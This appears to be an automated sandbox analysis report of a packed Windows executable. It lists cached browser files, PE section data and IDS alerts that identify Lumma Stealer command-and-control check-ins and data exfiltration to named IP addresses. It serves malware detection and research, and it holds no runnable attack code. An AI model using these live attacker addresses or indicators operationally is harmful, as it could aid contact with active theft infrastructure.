Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946441649766725
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'836'032 bytes
MD5:	06cdf5cbdfa34fce7dfde3b0b0fb8258
SHA1:	5acef066031742cc94cbcd9cbb34b2f36b8292d3
SHA256:	a751a6e56e59c37aa6371702d8e1f1651b28d9632b98ff3e2673f16052594e14
SHA512:	907fb4404c71b586872f212d12161993309ecc9ba13551ae674da7da2d1a055fe9a618a7ddcc4619e27b297b90b94d73e7765316a60f15d35973b6d38b2ca39b
SSDEEP:	49152:QIZKwvcNCirq/1RgTVa5fQiXDsDl80iveF:3ckcNCirq0To50lN5
TLSH:	898533534063F323CE7D96B496A5335C7A224594F8A26C6BDD1E2923405F7EEF841CCA
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................H...........@...........................H...........@.................................\p..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x888000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F63E487B2EAh
psrad mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0B00000Ah], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	9bd61a6729e845ab3e980bac3fe057ef	False	0.9973442656765676	data	7.972486359621843	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x298000	0x200	bae55d5bd3175ba27c66022390ce3bb0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
auhpbvcy	0x2f0000	0x197000	0x196c00	bb63d6aac233d5703f8bc348ecce4270	False	0.9944437375153657	data	7.95322027475284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ebxvgblb	0x487000	0x1000	0x400	90a621d1789512f5116770526c329029	False	0.7783203125	data	6.118602492448637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x488000	0x3000	0x2200	730b26e0b4ffec311aafbec0f827c8df	False	0.06548713235294118	DOS executable (COM)	0.7401795094440352	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T06:40:06.883557+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	188.114.97.3	443	TCP
2024-11-20T06:40:07.323133+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-11-20T06:40:07.323133+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-11-20T06:40:07.881296+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-20T06:40:08.299571+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-20T06:40:08.299571+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-20T06:40:09.263712+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	188.114.97.3	443	TCP
2024-11-20T06:40:09.831775+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	188.114.97.3	443	TCP
2024-11-20T06:40:10.440480+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	188.114.97.3	443	TCP
2024-11-20T06:40:11.932075+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	188.114.97.3	443	TCP
2024-11-20T06:40:13.397753+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	188.114.97.3	443	TCP
2024-11-20T06:40:14.855577+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	188.114.97.3	443	TCP
2024-11-20T06:40:14.872948+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49710	188.114.97.3	443	TCP
2024-11-20T06:40:18.247335+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	188.114.97.3	443	TCP
2024-11-20T06:40:18.674657+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49711	188.114.97.3	443	TCP
2024-11-20T06:40:19.390155+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49713	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 06:39:59.684355974 CET	49674	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:39:59.684468031 CET	49675	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:39:59.824996948 CET	49673	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:06.414222956 CET	49704	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:06.414274931 CET	443	49704	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:06.414354086 CET	49704	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:06.415417910 CET	49704	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:06.415435076 CET	443	49704	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:06.883413076 CET	443	49704	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:06.883557081 CET	49704	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:06.887939930 CET	49704	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:06.887957096 CET	443	49704	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:06.888302088 CET	443	49704	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:06.934191942 CET	49704	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:06.944787025 CET	49704	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:06.947324991 CET	49704	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:06.947360039 CET	443	49704	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:07.323105097 CET	443	49704	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:07.323184013 CET	443	49704	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:07.323251009 CET	49704	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:07.329543114 CET	49704	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:07.329569101 CET	443	49704	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:07.410659075 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:07.410751104 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:07.410830021 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:07.415414095 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:07.415441036 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:07.881150007 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:07.881295919 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:07.882802010 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:07.882827044 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:07.883177042 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:07.884537935 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:07.884577036 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:07.884646893 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.299587011 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.299730062 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.299822092 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.299819946 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.299894094 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.299952984 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.299969912 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.300088882 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.300148964 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.300160885 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.300259113 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.300323009 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.300335884 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.300462961 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.300513983 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.300528049 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.304130077 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.304198980 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.304212093 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.356110096 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.386871099 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.387238026 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.387491941 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.388003111 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.388050079 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.388082027 CET	49705	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.388097048 CET	443	49705	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.626631975 CET	49706	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.626698971 CET	443	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:08.626933098 CET	49706	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.627159119 CET	49706	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:08.627180099 CET	443	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:09.263643026 CET	443	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:09.263711929 CET	49706	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:09.265330076 CET	49706	443	192.168.2.5	188.114.97.3
